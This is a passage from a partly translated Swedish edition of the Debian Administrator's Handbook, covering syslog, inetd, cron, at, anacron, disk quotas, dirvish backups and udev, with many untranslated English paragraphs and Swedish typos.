Administrationsgränssnittet är tillgängligt i en webbläsare http://localhost:10000. Se upp! Inte alla moduler är direkt användbara. Ibland måste de konfigueras genom att ange platserna för de motsvarande konfigurationsfiler och en del exekverbara filer (program). Ofta kommer systemet att fråga dig när det misslyckas med att aktivera en begärd modul.

ALTERNATIV GNOME kontrollcenter

GNOME-projektet tillhandahåller också flera olika adminstrationsgränssnitt som vanligen är åtkomliga via posten ”Inställningar” i användarmeny högst upp till höger. gnome-control-center är huvudprogrammet som för samman alla dessa, men många av de systemomfattande konfigurationsverktygen tillhandålls effektivt av andra paket (accountsservice, system-config-printer med mera.). Även om de är lättanvända täcker dessa program endast ett begränsat antal tjänster: användarhantering, tidskonfiguration, nätverkskonfiguration, skrivarkonfiguration och så vidare.

9.4.2. Konfigurera paket: debconf

Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure -plevel package.

I de flesta fall är dessa inställningar ganska enkla; endast ett par viktiga variabler i konfigurationsfilen ändras. Dessa variabler är ofta grupperade mellan två linjer så att omkonfiguration av paketet endast omfattar det stänga området. I andra fall, kommer omkonfiguration att ändra någonting om skriptet upptäcker en manuell modifikation av konfigurationsfilen, för att kunna bevara dessa mänskliga ingrepp (eftersom skriptet inte kan försäkra att dess egna ändringar inte kommer att störa befintliga inställningar).

DEBIAN RIKTLINJER Bevara ändringar

Debians riktlinjer stipulerar att allt ska ske för att bevara manuella ändringar gjorda för en konfigurationsfil, så att fler och fler skript är försiktiga med att redigera konfigurationsfiler. Allmänna principen är enkel: skriptet kommer endast att göra ändringar om den vet om tillståndet för konfigurationsfilen, vilket verifieras av att jämföra kontrollsumman för filen jämfört mot den senast automatiskt genererade filerna. Om de är samma är skriptet autentitserat til att ändra konfigurationsfilen. Annars avgör den om filen har ändrats och frågar efter vilken åtgärd den ska genomföra (installera den nya filen, spara den gamla filen eller prova att integrera de nya ändringarna med befintlig fil). Denna försiktighetsprincip har varit unik för Debian, men andra distributioner har med tiden också börjat att omfamna den.

Programmet ucf (från Debianpaketet med samman namn) kan användas för att implementera ett sådant beteende.

9.5. syslog Systemhändelser

9.5.1. Princip och mekanism

rsyslogd-demonen är ansvarig för att samla in tjänstemeddelanden från program och kärnan, och sedan vidarebeforda dem till loggfiler (vanligen lagrad i katalogen /var/log/). Den följer konfigurationsfilen /etc/rsyslog.conf.

Varje loggmeddelande är associerart med ett programsubsystem (kallad ”facillity” i dokumentationen):

auth och authpriv: för autentisering;

cron: kommer från schemaläggartjänster, cron och atd;

daemon: påverkar en demon utan speciell klassifikation ( DNS, NTP och så vidare);

ftp:gäller FTP-servern;

kern: meddelanden från kärnan;

lpr: kommer från underliggande utskriftssystem;

mail: kommer från undersystemet för e-post;

news: Meddelanden från Usenet (speciellt från NNTP — Network News Transfer Protocol — server som hanterar nyhetsgrupper);

syslog: meddelanden från själva syslogd-servern;

user: användarmeddelanden (generiska);

uucp: meddelanden från UUCP-servern (Unix to Unix Copy Program, ett gammalt protokoll använt för att distribuera e-postmeddelanden);

local0 till local7: reserverad för lokal användning.

Varje meddelande är också associerad med en prioritetsnivå. Här är listan i sjunkande ordning:

emerg: “Hjälp!” Det är akut, systemet är förmodligen instabilt.

alert: skynda på, det kan vara farligt att vänta, utför något så fort du kan;

crit: villkoren är kritiska;

err: fel;

warn: varning (potentiellt fel);

notice: allt normalt, men meddelandet är viktigt;

info: informativt meddelande;

debug: meddelande för felsökning.

9.5.2. Konfigurationsfilen

The syntax of the /etc/rsyslog.conf file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the action describes how to deal with them.

9.5.2.1. Syntaxen för väljaren

Väljaren är en semikolonseparerad lista av subsystem.priority-pard (exempel: auth.notice;mail.info). En asterisk kan representera att subsystem eller alla proriteter (exempel: *.alert eller mail.*). Flera subsystem kan grupperas genom att separera dem med ett komma (exempel: auth,mail.info). Indikerade prioritet täcker också meddelanden av högre eller lika prioritet; sålunda indikerar auth.alert auth subsystemmeddelanden för prioriteterna alert eller emerg. Prefixad med ett utropstecken (!) indikerare det de motsatta, lägre prioriteter; auth.!notice,indikerar exempelvis auth, med prioritet info eller debug. Prefix med lika med-tecken (=) motsvara precis indikerad prioritet (auth.=notice bryr sig bara om meddelanden från auth med prioritet notice).

Varje element i väljarens lista åsidosätter tidigare element. Det är därför möjligt att begränsa en mängd eller att exkludera vissa element från den. Exempelvis betyder kern.info;kern.!err meddelanden från kärnan med prioritet info och warn. Prioriteten none indikerar den tomma mängden (inga prioriteter), och kan tjäna till att exkludera ett subsystem från en meddelandemängd. Sålpnda indikerar *.crit;kern.none alla meddelanden av prioritet lika eller högre än crit som inte kommer från kärnan.

9.5.2.2. Åtgärdssyntax

GRUNDLÄGGANDE Namngivet rör, ett beständigt rör

Ett namngivet rör är en speciell typ av fil som fungerar likt ett traditionell rör( röret som du skapar med symbolen ”i” på kommandoraden), men via en fil. Denna mekanism har fördelen av att kunna koppla ihop två orelaterade processer. Det som skrivs till en namngivet rör blockerar processen som skriver till en annan process försöker att läsa datan som skrevs. Denna andra process läser datan skriven av den första, som sedan kan fortsätta exekvering.

En sådan fil skapas med kommandot mkfifo.

Möjliga åtgärder är:

lägg till meddelandet till en fil (exempel: /var/log/messages);

skicka meddelandet till en fjärrserver syslog (exempelvis: @log.falcot.com);

skicka meddelandet till ett befintligt namngivet rör (exempel: |/dev/xconsole);

skicka meddelandet till en eller flera användare om de är inloggade (exempel: root,rhertzog);

skicka meddelandet till alla inloggade användare (exempel: *);

skriv meddelandet i en textkonsol (exempel: : /dev/tty8).

SÄKERHET Vidarebefodra loggar

Det är en bra ide att spara de viktigaste loggarna på separata maskiner (kanske dedikerat för detta syfte) eftersom detta kommer att hindra möjliga inkräktare från att ta bort spår av intrång (om inte de också komprometerat denna andra server). Om ett sådant större problem uppstår (som att kärnan kraschar) har du loggarna tillgängliga på en annan maskin, vilket ökar dina chanser att avgöra händelsekedjan som ledde fram till kraschen.

För att acceptera loggmeddelanden från andra maskiner måste du konfigurera om rsyslog:i praktiken räcker det med att aktivera posterna för-användning i /etc/rsyslog.conf ($ModLoad imudp och $UDPServerRun 514).

9.6. Superservern inetd Super-Server

Ineetd (ofta kallad ”internet superserver”) är en server över servrar. Den exekverar sällan använda servrar på begäran så att de inte måste köra kontinuerligt.

Filen /etc/inetd.conf listar dessa servrar och dess vanliga portar. Kommandot inetd lyssnar på dem alla; när den upptäcker en anslutning till en sådan port exekverar den motsvarande serverprogram.

DEBIAN POLICY Register a server in /etc/inetd.conf

Ofta vill paket registrera en ny server i filen /etc/inetd.conf , men Debians riktlinjer tillåter inte att ett paket ändrar en konfigurationsfil den inte äger. Det är därför skriptet update-inetd ( i paketet med samma namn) skapades: Det hanterar konfiugrationsfilen och andra paket kan sålunda använda den för att registrera en ny server i superserverns konfiguration.

Varje signifikant rad i filen /etc/inetd.conf beskriver en server med flera fält (separerade av mellanslag):

TCP- eller UDP-portnummer, eller tjänstenamnet (vilket är mappat till ett standardportnummer med informationen given i filen /etc/services).

Uttagstypen: stream för en TCP-anslutning, dgram för UDP-datagram.

The protocol: tcp, tcp6, udp, or udp6.

Flaggor: två möjliga värden: wait eller nowait, för att berätta för inetd huruvida det ska vänta eller inte på att processer avslutas innan det accepterar nya anslutningar. För TCP-anslutningar, som är multiplexa, kan du oftast använda nowait. För program som svarar över UDP kan du använda nowait endast om servern är kapabel att hantera flera anslutningar samtidigt. Du kan sätta ett suffix på detta fält med en punkt, följt av det högsta antalet anslutningar tillåtna per minut (standardgränsen är 256).

The user name of the user under whose identity the server will run. Optionally one can add the group too via user.group syntax.

Hela sökvägen till serverprogrammet att köra.

Argumenten: detta är en komplett lista över programargument, inklusive dess eget namn (argv[0] i C).

The following example illustrates some use-cases after installing talkd, nullidentd (ident-server), and fingerd:

Exempel 9.1. Utdrag från /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols. talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd #:INFO: Info services ident stream tcp nowait nobody /usr/sbin/nullidentd nullidentd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

The tcpd program is frequently used in the /etc/inetd.conf file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow and /etc/hosts.deny files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]) to identify the real program to run. So you should not start the arguments list with tcpd but with the program that must be wrapped.

GEMENSKAP Wietse Venema

Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities. We will have a closer look at this mail server in Avsnitt 11.1, ”E-postserver”.

ALTERNATIV Andra inetd-kommandon

While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, rlinetd, and xinetd, which all provide the virtual package inet-superserver.

Most of these alternatives share the same configuration file /etc/inetd.conf.

This last incarnation of a super-server however, offers different syntax and very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the /etc/xinetd.d/ directory), which can make an administrator's life easier. It is considered to be more powerful, but also more complex.

Last but not least, it is even possible to emulate inetd's behavior with systemd's socket-activation mechanism (see Avsnitt 9.1.1, ”Systemds init-system”).

9.7. Schemalägga uppgifter med cron and atd

cron is the daemon responsible for executing scheduled and recurring commands (every hour, every day, every week, etc.). atd deals with commands to be executed a single time, but at a specific moment in the future.

I ett Unixsystem schemaläggs många uppgifter för återkommande körning:

rotera loggarna;

uppdatera databasen för programmet locate;

säkerhetskopior;

underhållningsskript (som att rensa bort tillfälliga filer).

Alla användare kan schemalägga exekveringen av uppgifter. Varje användare har sin egen crontab i vilken de kan spara schemalagda kommandon. Den kan redigeras genom att köra crontab -e (dess innehåll lagras i filen/var/spool/cron/crontabs/användare).

SÄKERHET Begränsa cron eller atd

You can restrict access to crontab by creating an explicit authorization file (whitelist) in /etc/cron.allow, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist), /etc/cron.deny. This same feature is available for atd, with the /etc/at.allow and /etc/at.deny files (also described in their manual pages).

Root-användaren har endast deras egna crontab, men kan också använda filen /etc/crontab eller skriva ytterligare crontab-filer i katalogen /etc/cron.d. Dessa två lösningar har fördelen med att kunna specificera användaridentiteten att använda då ett kommando exekveras.

Paketet cron innehåller några schemalagda kommandon som kan exekvera:

program i katalogen/etc/cron.hourly/ en gång i timmen;

program i katalogen /etc/cron.daily/ en gång per dag;

program i /etc/cron.weekly/ en gång i veckan;

program i /etc/cron.monthly/ en gång i månaden.

Många Debianpaket förlitar sig på denna tjänst: genom att lägga förvaltningskript i dessa kataloger försäkrar de sig om att deras tjänster är optimerade.

9.7.1. Format för crontab

TIP Textgenvägar för cron

cronkänner igen några förkortningar som ersätter de fem första fälten i en crontab-post. De motsvarar de mest klassiska schemaläggaralternativen:

@yearly: en gång per år (Januari 1, vid 00:00);

@monthly:en gång i månaden (den 1:sta, vid 00:00);

@weekly: en gång i veckan (Söndag, vid 00:00);

@daily: en gång per dag (vid 00:00);

@hourly: en gång i timmen (vid varje timmes början).

More abbreviations are recognized, like @rebootor @midnight.

SPECIALFALL cron och sommar-/vintertid

I Debian räknar cron med sommar-/vintertid, eller andra större ändringar i lokal tid så gott det kan. Därför kan kommandona som borde ha exekverats vid en tidpunkt som aldrig existerade (exempelvis uppgifter schemalagda 2.30 under sommartidsändringen i Sverige, eftersom 2.00 hoppar klockan fram tll direkt till 3.00) exekveras kort efter tidsändringen (ungefär 3.00). Å andra, vid vintertidsändringen när kommandon som skulle ha exekverats flera gånger (2.30 och sedan en timme senare 2.30, eftersom klockan ställs tillbaka en timme klockan 3.00) exekveras endast en gång.

Om ordningen i hur de schemalagda uppgifterna och fördröjningen mellan deras respektive exekvering är viktig bör du vara försiktig och kontrollera kompatibiliteten för dessa villkor med crons beteende. Om nödvändigt så kan du förbereda ett speciellt schema för dessa två problematiska årliga nätter.

Each significant line of a crontab entry describes a scheduled command with the six (or seven) following fields:

the value for the minute (from 0 to 59);

värdet för timme (från 0 till 23);

värdet för dag i månaden (från 1 till 31);

värdet för månaden (från 1 till 12);

värdet för dag i veckan (från 0 till 7, där 1 motsvarar måndag. Söndag representeras av både 0 och 7; det är också möjligt att använda de tre första bokstäverna i dagens namn på engelska, som Sun, Mon och så vidare);

användarnamn under vars identitet kommandot ska exekveras (i filen /etc/crontab och i fragmenten i /etc/cron.d/, men inte användarens egna crontabfiler);

kommando att exekvera (när villkoren definierat i de första fem kolumnerna är uppfyllda).

Alla detaljer är dokumenterade i manualsidan crontab(5).

Each value can also be expressed in the form of a list of possible values (separated by commas). The syntax a-b describes the interval of all the values between a and b. The syntax a-b/c describes the interval with an increment of c (example: 0-10/2 means 0,2,4,6,8,10). An asterisk * is a wildcard, representing all possible values.

Exempel 9.2. Sample user crontab file

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # every two hours * */2 * * * $HOME/bin/dosomethingelse # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

TIP Exekvera ett kommando vid uppstart

För att exekvera ett kommando en enstaka gång efter att datorn ha startat upp kan du använda makrot @reboot (en omstart av cron utlöser inte ett kommando schemalagt med @reboot). Makrot ersätter de första fem fälten i en post i crontab.

ALTERNATIV Emulera cron med systemd

It is possible to emulate part of cron's behavior with systemd's timer mechanism (see Avsnitt 9.1.1, ”Systemds init-system”).

9.7.2. Använda kommandot at

The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12 or 4:12pm represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY (27.07.22 thus representing 27 July 2022), YYYY-MM-DD (this same date being expressed as 2022-07-27), MM/DD/[CC]YY (i.e., 12/25/22 or 12/25/2022 will be December 25, 2022), or simple MMDD[CC]YY (so that 122522 or 12252022 will, likewise, represent December 25, 2022). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.22 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 1 at Wed Jul 27 09:00:00 2022

En alternativ syntax fördröjer exekveringen för en given tid: at now + siffra period. period kan vara minuter, timmar, dagar, eller weeks. siffra är talet av nämnda tidsenhet som måste ha passerats innan exekvering av kommandot.

För att avsluta en uppgift schemalagd av cron, kör crontab och ta bort motsvarande rad i filen crontab. För at-uppgifterna är det nästan lika lätt: kör atrm uppgiftnummer. Uppgiftsnumret indikeras av kommandot at när du schemalägger det, men du kan finna det igen med kommandot atq som visar aktuell lista av schemalagda uppgifter.

9.8. Schemaläggar asynkrona uppgifter: anacron

anacron är demonen som kompletterar cron för datorer som inte alltid är på. Eftersom vanliga uppgifter oftast är schemalagda i mitten av natten kommer de aldrig att exekveras om datorn är avstängd vid tidpunkten. Syftet med anacron är att exekvera dem, och ta i beaktande den tidsperid när datorn inte var igång.

Observera att kommandot anacron oftast kommer att exekvera en sådan aktivitet några minuter efter uppstart av maskinen, vilket kan göra datorn mindre responsiv. Det är därför uppgifterna i /etc/anacrontab/ startas med kommandot nice som minskar prioriteten för exekvering och därför begränsar dess påverkan på resten av systemet. Se upp för formatet för denna fil är inte detsamma som /etc/crontab; om du har speciella behov av anacron, se manualsidan för anacrontab(5).

GRUNDLÄGGANDE Prioriteter och nice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice program. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other process needs to run, the program will not be artificially held back.

nice jobbar med nivåer av ”snällhet: de positiva nivåerna (från 1 till 19) sänker progressivt prioriteten, medan de negativa nivåerna (från -1 till -20) ökar den - men endast root kan använda dessa negativa nivåer. Om inte annat indikeras (se manualsidan för nice(1)), nice ökar aktuell nivå med 10.

Om du upptäcker att en redan körande uppgift skulle ha startas med nice är det inte försent att fixa den;; kommandot renice ändrar prioriteten för en redan körande process i (men att minska ”snällheten” för en process kan endast root-användaren göra=.

Installationen av paketet anacron inaktiverar körning av cron för skripten i katalogerna /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, och /etc/cron.monthly/. Det undviker deras sdubbla körning avanacron och cron. Kommandot cron återstår som aktiv och kommer att fortsätta att hantera de andra schemalagda uppgifterna (speciellt de som schemalagts av användare).

9.9. Kvoter

Kvotsystemet gör det möjligt att begränsa diskutrymmet för en användare eller en grupp. För att konfigurerar det måste du ha en kärna som stödjer det (kompilerad med flaggan CONFIG_QUOTA ) — som fallet är med Debiankärnor. Program för kvotahantering finns Debianpaketet quota.

För att aktivera kvoter i ett filsystem måste ange flaggorna usrquota och grpquota i /etc/fstab för användar- och gruppkvoter. Att starta om datorn kommer sedan att uppdatera kvoterna i frånvaro av diskaktivitet (ett nödvändigt villkor för korrekt av redan använt diskutrymme).

Kommandot edquota användare (eller edquota -g grupp) låter dig ändra gränserna medan du utforskar aktuell tdiskutrymme.

YTTERLIGARE Definiera kvoter med ett skript

Programmet setquota kan användas i ett skript för att automatiskt ändra många kvoter. Dess manuasida Its setquota(8) visar dess syntax.

Kvotsystemet låter dig ange fyra gränser:

two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, the 1024 available bytes of each block can only be assigned to one file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

two limits (“soft” and “hard”) refer to the number of inodes used. Each file occupies at least one inode to store information about it (permissions, owner, timestamp of last access, etc.). It is thus a limit on the number of user files.

En ”mjuk” gräns kan överskridas tillfälligt; användaren kommer att bli tydligt varnad om att de överskrider kvoten av kommandot warnquota som vanligtvis startas av cron. En ”hård” gräns kan aldrig överskridas: systemet kommer att vägra åtgärder som skulle orsaka ett en hårdkvot överskrids.

ORDFÖRRÅD Block och inoder

Filsystemet delar upp hårddisken i block -- små sammanhängande områden. Blockens storlek definieras vid filsystemets skapande, och varierar mellan 1 och 8 kibibyte.

Ett block kan användas antingen för att lagra riktiga fildata, eller för metadata använt av filsystemet. I denna metadata kommer du specifikt att finna inoderna. En inode använder ett block på hårddisken (men detta block tas det inte hänsyn till i blockvoten, endast i inodekvoten), och innehåller både informationen för filen mot vilken den motsvarar (namn, ägare, rättighet, och fler.) och pekarna till datablocken som verkligen används. För väldigt stora filer som tar hand om flera block än vad som är möjligt att referera till i en enskild inode, finns ett indirekt blocksystem; inoden refererar en lista av block som inte direkt innehåller data, men en annan lista av block.

Med kommandot edquota -t kan du definiera en högsta tillåten ”grace period” inom vilken en mjukgräns kan överskridas. Efter denna period kommer den mjuka gränsen att behandlas som en hård gräns, och användaren kommer att behöva minska deras användning av diskutrymme till inom denna gräns för att kunna skriva till hårddisken.

NÄSTA STEG Ange en standardkvot för nya användare

För att automatiskt ange en kvot för nya användare måste du konfigurera en mall (med edquota eller setquota) och indikera deras användarnamn i variabeln QUOTAUSER i filen /etc/adduser.conf. Denna kvotkonfiguration kommer att tillämpas automatiskt på varje ny användare skapad med kommandot adduser.

9.10. Säkerhetskopia

Att ta säkerhetskopior är en av huvuduppgifterna för en administratör, men det är ett komplex område och involverar kraftfulla verktyg som ofta är svårhanterliga.

Many programs exist, such as amanda, bacula, or BackupPC. Those are client/server systems featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. For non-enterprise systems, administrators might want to check out rsnapshot or rdiff-backup. Users can easily create backups of their filesystems with timeshift, fsarchiver, duplicity, or even dd.

Debian contains dozens of other backup software covering all possible use cases, as you can easily confirm with apt-cache search backup.

Istället för att i detalj beskriva dem kommer detta avsnitt att presentera tankegången hos Falcot Corp-administratörerna när de definierade sin säkerhetsstrategi.

På Falcot Corp har säkerhetskopior två mål: att återskapa felaktigt borttagna filer och att snabbt återställa datorer (server eller skrivbord) där hårddisken har fallerat.

9.10.1. Säkerhetskopiera med rsync

Säkerhetskopior på band har bedömts vara för långsamma och kostsamma, data kommer att säkerhetskopieras på hårddiskar på en dedikerad server, för vilken användningen av mjukvaru-RAID (se Avsnitt 12.1.1, ”Mjukvaru RAID” kommer att skydda data från hårddiskfel. Normalt tas inte säkerhetskopior för skrivbordsdatorer, men det rekommenderas att användarnas personliga konton på deras avdelnings filserver säkerhetskopieras. Kommandot rsync (från paketet med samma namn) används dagligen för att ta säkerhetskopior av de olika servrarna.

GRUNDLÄGGANDE Hårdlänken, ett till namn för filen

En hårdlink kan i motsats till en mjuklänk inte skiljas från den länkade filen. Att skapa en hårdlänk är i praktiken detsamma som att ge en befintlig fil ett till namn. Det är därför borttagningen av en hårdlänk endast tar bort en av namnen associerat med filen. Så länge som ett annat namn fortfarande är kopplat till filen kommer data därinne att kvarstå på filsystemet. Det är intressant att observera att, istället för en kopia så tar inte hårdlänken upp ytterligare utrymme på hårddisken.

En hårdlänk skapas med kommandot ln mål länk. Filen länk är sedan det nya namnet för mål. Hårdlänken kan endast skapas på samma filsystem, med symboliska länkar inte har denna begränsning.

Det tillgängliga hårddiskutrymmet förhindrar implementationen av en komplett daglig säkerhetskopia. Som sådant är kommandot rsync föregås av en duplicering av innehållet av föregående säkerhetskopia med hårdlänkar, vilka förhindrar användning av för mycket hårddiskutrymme. Processen rsync ersätter då endast filer som har modifierats sedan senaste säkerhetskopian. Med denna mekanism kommer ett stort antal säkerhetskopior att kunna lagras med ett litet utrymme. Eftersom alla säkerhetskopior är tillgängliga och direkt åtkomliga (till exempel, i olika kataloger för en given utdelning av nätverket) kan du snabbt utföra jämförelser mellan två givna datum.

Mekanismen för säkerhetskopia är enkelt implementerat med programmet dirvish. Det använder ett säkerhetslagringsutrymme (”bank” i vokabulären) i vilken den placerar kopior av säkerhetskopierade filer som kallas ”valv” i dirvish-dokumentationen.

Huvudkonfigurationen finns i filen /etc/dirvish/master.conf. Den definierar säkerhetskopiornas lagringsutrymme, listan av ”valv“ att hantera och standardvärden för utgången av säkerhetskopior. Resten av konfigurationen finns i filerna bank/valv/dirvish/default.conf och innehåller specifik konfiguration för den motsvarande filmängden.

Exempel 9.3. Filen /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

The bank setting indicates the directory in which the backups are stored. The exclude setting allows you to indicate files (or file types) to exclude from the backup. The Runall is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (according to /etc/cron.d/dirvish). Finally, the expire-default and expire-rule settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default one if no other expire-rule matches.

I PRAKTIKEN Schemalagd tidsgräns

Reglerna för tidsgränser används inte av dirvish-expire för att utföra dess jobb. De tillämpas vid skapandet av en ny säkerhetskopia för att definiera utgångsdatum associerad med kopian. dirvish-expire använder de lagrade kopiorna och tar bort de för vilka sista datum har passerat.

Exempel 9.4. Filen /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

Exemplet ovan visar filerna som ska säkerhetskopieras: det är filer på maskinen rivendell.falcot.com (för lokal säkerhetskopiering av data, ange namnet för den lokala maskinen som visas genom hostname, speciellt för de i rotträdet (tree: /), förutom de som listas i uteslut. Säkerhetskopian kommer att begränsas till innehållen i en av filsystemen (xdev: 1). Det kommer inte att omfatta filer från andra monteringspunkter. Ett index över sparade filer kommer att genereras (index: gzip). och bilden kommer att namnges efter aktuellt daturm (image-default: %Y%m%d).

There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault --init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.

I PRAKTIKEN Fjärrsäkerhetskopia med SSH

När dirvish behöver spara data till en fjärrmaskin kommer det att använda ssh för att ansluta till den samt starta rsync som server. Det kräver att root-användaren kan ansluta automatiskt till den. Användningen av SSH-autentisteringsnyckeln tillåter precis det (se Avsnitt 9.2.1.1, ”Nyckelbasera autentisering”).

9.10.2. Återställa maskiner utan säkerhetskopior

Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs/USB sticks prepared with simple-cdd (see Avsnitt 12.3.3, ”Simple-CDD: The All-In-One Solution”). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see Avsnitt 13.3.1, ”GNOME” for more information about this).

Adminstratörerna av Falcot Corp är medvetna om begränsningarna i deras policy för säkerhetskopiering. Eftersom de inte kan skydda en extra server såväl som ett band i ett eldsäkert skåp har de installerat den i ett separat rum så att en katastrof, exempelvis en eldsvåda, inte förstör säkerhetskopior. Vidare så utför de en inkrementell säkerhetskopiering på en dvd-skiva en gång i veckan - endast filer som ändrats sedan förra säkerhetskopieringen omfattas.

YTTERLIGARE INFORMATION Säkerhetskopiera SQL- och LDAP-tjänster

Många tjänster (som till exempel SQL- och LDAP-databaser) kan inte säkerhetskopieras genom att kopiera dess filer(om de inte avbryts under säkerhetskopiering, vilket oftast är problematiskt då de ofta är avsedda att alltid vara tillgängliga). Därför är det nödvändigt att använda en ”export”-mekanism för att skapa en ”data-dump” som kan säjerhetskopieras säkert. De blir ofta ganska stora, men komprimeras bra. För att minska på använt lagringsutrymme kommer du endast att spara en komplett textfil en gång i veckan och en diff varje dag, vilket skapas med ett kommando av typen diff gardagens_fil dagens_fil. Programmet xdelta producerar inkrementella skillnader från binära dumpar.

KULTUR TAR, standarden för säkerhetskopior av band

Historiskt sett har det de enklaste sättet att göra en säkerhetskopia i Unix varit att lagra ett TAR-arkiv på band. Kommandot tar fick sitt namn från “Tape ARchive”.

9.11. Hetpluggning: hetpluggning

9.11.1. Introduktion

The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be “hotplugged“: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.

Kärnan har en databas som associerar var enhets-ID med krävd drivrutin. Denna databas används vid uppstart för att läsa in alla drivrutiner för externa enheter som identifieras på olika bussar, men också när en hetpluggad enhet ansluts. När väl enheten är redo för användning skickas ett meddelande till udevd so att det kan skapa motsvarande enhet i /dev/.

9.11.2. Namngivningsproblemet

Innan uppkomsten av hetplugganslutningar var det enkelt att tilldela ett fast namn till en enhet. Det baserades endast på enhetens position på varje buss. Detta är inte möjligt med enheter som kan läggas till och tas bort från på en bus. Det typiska fallet är användningen av en digitalkamera, en USB-sticka, där båda för datorn kommer att tolkas som diskenheter. Den första som ansluts kan vara /dev/sdb och den andra /dev/sdc (med /dev/sda representerande datorns egna hårddisk). Enhetsnamnet är inte fast; det beror på ordningen enheterna är anslutna i.

Utöver det använder fler och fler drivrutiner dynamiska värden för enheters major/minornummer, vilket gör det omöjligt att ha statiska poster för de givna enheterna, eftersom dessa essentiella kännetecken kan variera efter omstart.

udev skapades för att lösa detta problem.

9.11.3. Hur udev fungerar

Då udev av kärnan aviseras om att en ny enhet identifieras samlar den in information om den givna enheten genom att slå upp motsvarande poster i /sys/, specifikt de som identifierar den unikt (MAC-adressen för ett nätverkskort, serienummer för en del USB-enheter och så vidare.).

Utrustad med all denna information konsulterar udev sedan alla regler i /etc/udev/rules.d/ och /lib/udev/rules.d/. I denna process bestäms hur enheten ska namnges, vilka symboliska länkar att skapa (för att ge den alternativa namn) och vilka kommandon att köra. Alla dessa filer beaktas och reglerna utvärderas sekvensiellt (förutom när en fil använder "GOTO"-direktiv). Det kan därför finnas flera regler som motsvarar en given händelse.

Syntaxen för regelfiler är ganska enkel: varje rad innehåller valkriteria och variabeltilldelningar. Den förstnämnda används för att välja händelser för vilka det finns ett behov att agera och den senare definierar vilken åtgärd som ska utföras. De är alla separerade med komman, och operatorn skiljer implicit mellan ett valkriteria (med jämförelseoperatorer som ==, != eller en tilldelning (med operatorer) som =, += eller :=).

Jämförelseoperatorer används för följande variabler:

KERNEL. namnet som kärnan tilldelar enheten;

ACTION: åtgärd som svarar mot händelsen (”add” när en enhet har blivit tillagd, ”remove” när den har blivit borttagen);

DEVPATH: sökvägen för enhetens /sys/-post;

SUBSYSTEM: subsystemet i kärnan som genererade begäran (det finns många, men några exempel är “usb”, “ide”, “net”, “firmware” och så vidare);

